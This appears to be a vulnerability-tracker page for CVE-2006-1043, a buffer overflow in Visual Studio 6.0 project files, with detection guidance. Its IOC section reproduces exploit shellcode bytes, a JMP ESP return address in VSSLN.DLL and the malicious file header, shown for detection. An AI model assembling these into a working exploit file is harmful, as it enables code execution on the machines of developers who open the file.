CVE-2006-1043

published 2006-03-07

CVE-2006-1043: Stack-based buffer overflow in Microsoft Visual Studio 6.0 and Microsoft Visual InterDev 6.0 allows user-assisted attackers to execute arbitrary code via a…

Priority P4 28 medium 5.1 CVSS 2.0

AV N AC H Au N C P I P A P

EXPLOIT

Stack-based buffer overflow in Microsoft Visual Studio 6.0 and Microsoft Visual InterDev 6.0 allows user-assisted attackers to execute arbitrary code via a long DataProject field in a (1) Visual Studio Database Project File (.dbp) or (2) Visual Studio Solution (.sln).

Affected

2 ranges

Vendor	Product	Version range	Fixed in
microsoft	visual_interdev	—	—
microsoft	visual_studio	—	—

Detection & IOCs extracted from sources · hover to see the quote

path c:\vuln.dbp↗

filename VSSLN.DLL↗

bytes↗

\xc3\xb8\x56\x46

bytes↗

\x33\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xef\x9b\xf0\xd8\x83\xeb\xfc\xe2\xf4\x13\x73\xb4\xd8\xef\x9b\x7b\x9d\xd3\x10\x8c\xdd\x97\x9a\x1f\x53\xa0\x83\x7b\x87\xcf\x9a\x1b\x91\x64\xaf\x7b\xd9\x01\xaa\x30\x41\x43\x1f\x30\xac\xe8\x5a\x3a\xd5\xee\x59\x1b\x2c\xd4\xcf\xd4\xdc\x9a\x7e\x7b\x87\xcb\x9a\x1b\xbe\x64\x97\xbb\x53\xb0\x87\xf1\x33\x64\x87\x7b\xd9\x04\x12\xac\xfc\xeb\x58\xc1\x18\x8b\x10\xb0\xe8\x6a\x5b\x88\xd4\x64\xdb\xfc\x53\x9f\x87\x5d\x53\x87\x93\x1b\xd1\x64\x1b\x40\xd8\xef\x9b\x7b\xb0\xd3\xc4\xc1\x2e\x8f\xcd\x79\x20\x6c\x5b\x8b\x88\x87\xe5\x28\x3a\x9c\xf3\x68\x26\x65\x95\xa7\x27\x08\xf8\x91\xb4\x8c\x9b\xf0\xd8

bytes↗

\x23\x20\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x20\x44\x65\x76\x65\x6C\x6F\x70\x65\x72\x20\x53\x74\x75\x64\x69\x6F\x20\x50\x72\x6F\x6A\x65\x63\x74\x20\x46\x69\x6C\x65\x20\x2D\x20\x44\x61\x74\x61\x62\x61\x73\x65\x20\x50\x72\x6F\x6A\x65\x63\x74\x0D\x0A\x42\x65\x67\x69\x6E\x20\x44\x61\x74\x61\x50\x72\x6F\x6A\x65\x63\x74\x20\x3D\x20\x22

• → The exploit triggers a stack-based buffer overflow via a long DataProject field in a .dbp or .sln file. Monitor for opening of malformed .dbp or .sln files with anomalously long DataProject field values (beginning with 'Begin DataProject = "' followed by excessive data). ↗
• → The exploit uses a JMP ESP gadget at address 0x4656b8c3 inside VSSLN.DLL. Presence of this return address (bytes \xc3\xb8\x56\x46) in a .dbp or .sln file's DataProject field is a strong indicator of exploitation. ↗
• → The malicious .dbp file is written to c:\vuln.dbp. Detect creation of .dbp or .sln files containing NOP sleds (repeated 0x90 bytes) followed by shellcode in the DataProject field. ↗
• → The exploit file structure begins with the ASCII header '# Microsoft Developer Studio Project File - Database Project\r\nBegin DataProject = "' followed by NOP sled and payload. Scan .dbp/.sln files for this pattern with oversized DataProject values. ↗

• · The JMP ESP address (0x4656b8c3) is specific to VSSLN.DLL as shipped with Visual Studio 6.0 SP6. This address will differ on other versions or patch levels of the DLL. ↗
• · The exploit targets Microsoft Visual Studio 6.0 with the latest Service Pack 6 and Microsoft Development Environment 6.0 (SP6) / Visual InterDev 6.0 specifically. Other versions are not confirmed affected by this exact exploit. ↗

CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.

CWE-119